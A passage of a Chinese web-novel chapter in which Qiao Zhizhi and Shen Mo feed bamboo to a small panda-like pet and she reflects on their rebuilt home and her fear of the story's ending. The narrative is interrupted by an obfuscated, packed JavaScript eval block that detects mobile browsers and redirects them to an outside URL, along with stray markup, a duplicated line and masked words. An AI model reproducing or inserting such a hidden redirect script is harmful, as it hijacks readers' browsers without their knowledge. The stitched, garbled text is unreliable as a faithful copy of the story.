乔知栀又把手往前送了送:“吃呀,苹果可甜了。”
小白低下头,勉为其难地又舔了两下,然后扭过头,把脸埋进乔知栀的臂弯里,再也不肯吃了。
乔知栀愣了一下,看了看手心里还剩大半的苹果碎末,又看了看怀里那一团毛茸茸的小东西,哭笑不得。
“它不吃苹果?”
沈墨走过来,低头看了看小白,又看了看那堆苹果碎末。
“食铁兽喜欢吃竹子,我去找点竹子。”
乔知栀眼睛一亮:“对哦!我怎么把这茬忘了!它可是国宝,国宝当然要吃竹子!”
沈墨转身出了门。
乔知栀抱着小白跟到门口,倚在门框上看他。
沈墨走到院子角落,那里堆着几根之前砍回来的竹子,本来是打算做篱笆用的。
他挑了一根最嫩的,用小刀劈开,把竹皮削掉,只留下里面那一层嫩黄色的竹芯。
然后切成一小段一小段的,每一段都削得细细的,像一根根小棍子。
小白闻到竹子的味道,小鼻子抽了抽,脑袋从乔知栀怀里探出来,圆溜溜的眼睛盯着沈墨手里的竹芯,嘴巴微微张着,口水都快滴下来了。
乔知栀低头看着它那副馋样,忍不住笑了。
“刚才给你苹果你不吃,现在闻到竹子就馋成这样?”
沈墨把削好的竹芯拿过来,递到小白面前。
小白一口咬住,小爪子抱住竹芯,咔嚓咔嚓地啃了起来。
啃得可香了,小嘴巴一鼓一鼓的,圆圆的脸上满是满足的表情。
“唧唧唧!”
它啃完一根,又抬起头,眼巴巴地看着沈墨。
沈墨又递了一根过去。
小白又咔嚓咔嚓地啃完了。
一连啃了三四根,小家伙才打了个饱嗝,心满意足地缩回乔知栀怀里,把脑袋埋在她臂弯里,蹭了蹭,找了个舒服的姿势,闭上眼睛。
乔知栀低头看着怀里这一团毛茸茸的小东西,心里软得一塌糊涂。
她轻轻抚摸着它的背,一下一下的,柔声说。
“吃饱了就睡,你倒是会享福。”
小白发出细细的呼噜声,肚子一起一伏。
沈墨站在旁边,看着乔知栀抱着小白的样子,目光温柔得像化开的糖。
沈墨的喉结滚了滚。
他忽然想起刚成亲那年。
那时候他们还在京城,知栀还是那个骄纵的相府千金,每天不是逛街就是买首饰,从来不会多看谁一眼。
有一次他去她房里送东西,听见她和丫鬟在说话。
“小姐,您将来有了小少爷,会不会也像对沈大人那样对他呀?”
“我的孩子,我当然疼了。至于沈墨?他算什么东西?”
那时候的她,说起孩子,眼睛是会发光的。
可那光,从来不是为他亮。
现在不一样了。
沈墨看着眼前的乔知栀,心里忽然涌上一股说不清的感觉。
他期待看到她当妈妈的样子。
她一定会很温柔,很耐心,会把孩子养得白白胖胖的,会教他读书写字,会给他做好吃的。
就像她现在对小白一样。
不过……沈墨的目光落在乔知栀的身上。
她的身子骨太单薄了。
如果生孩子有风险,他情愿她一辈子不生。
乔知栀抬起头,发现沈墨正盯着她看,目光幽深,不知道在想什么。
“你看什么?”她问。
沈墨回过神来,唇角弯了弯。
沈墨回过神来,唇角弯了弯。
“没什么。时候不早了,我给你烧水,你早些洗漱,早些休息。”
乔知栀抱着小白,歪着头看他。
“那你呢?”
沈墨走到灶台边,开始生火烧水。
“我先将院中的篱笆弄好。今天只做了一半,剩下的不弄完,明天竹子该干了。”
乔知栀抱着小白跟过去,蹲在他旁边。
“我帮你一起吧?你一个人多累啊。”
沈墨往灶膛里添了一把柴,火光跳了跳,映在他脸上。
他转过头,看着乔知栀,伸手揉了揉她的脑袋。
“你白天一个人做生意已经很累了,我一人就行。”
他的语气温和,却带着不容置喙的坚定。
乔知栀看着他那副认真的样子,乖乖地点了点头。
“那好吧。”
水烧好了,沈墨把热水倒进澡盆里,又兑了些凉水,伸手试了试水温。<b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581151|205117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>
“可以洗了。”
乔知栀应了一声,把小白放在床上,拿了换洗的衣裳,钻进屏风后面。
澡盆还是那个旧的,沈墨说要做个大的,还没顾上。
乔知栀坐进去,热水漫过肩膀,舒服得她叹了口气。
她靠在澡盆边上,听着外面沈墨劈竹子的声音,一下一下的,有节奏,像催眠曲。
洗完澡,她换上干净的里衣,抱着小白钻进被窝。
粉色的帐子放下来,月光被滤成柔柔的光,笼着整张床。
小白在她怀里拱了拱,找了个舒服的姿势,很快就睡着了,发出细细的呼噜声。
乔知栀透过窗户往外看。
院子里,沈墨正在做篱笆。
月光下,他的身影被拉得很长。
他蹲在地上,把竹子一根一根地削尖,然后**土里,用锤子敲实。
每一根之间的距离都差不多,整整齐齐的。
篱笆顺着墙角,将那些花苗树苗全部围在里面。
山茶花、兰花、映山红、野菊花,还有那棵小山楂树,都被保护得好好的。
乔知栀看着他的背影,心里忽然涌上一股暖意。
这间小破屋,从她穿进来那天到现在,一点一点地在变好。
墙刷白了,窗户糊上了纸,床换了新的,添了帐子,院子里种了花,现在又有了篱笆。
不再是那个漏风漏雨的破房子了。
而是她的家。
是她在现代活了二十多年,从来没有拥有过的家。
乔知栀想着想着,鼻子忽然有点酸。
她抱紧了怀里的小白,把脸埋在它毛茸茸的背上。
可越是觉得幸福,她就越是害怕。
沈墨总是要回京城的。
而她……
乔知栀闭上眼睛,不敢想下去。
书里那个结局,她当众摔了个狗吃屎,把自己摔**。
她穿进来之后,一直在努力改变剧情。
不去卖沈墨,不去招惹屠香香,不去作天作地。
她以为自己已经改变了很多。
可是今天,那些大娘和姑娘们骂她的时候,她才发现,在别人眼里,她还是那个又懒又馋、天天打沈墨的恶毒女人。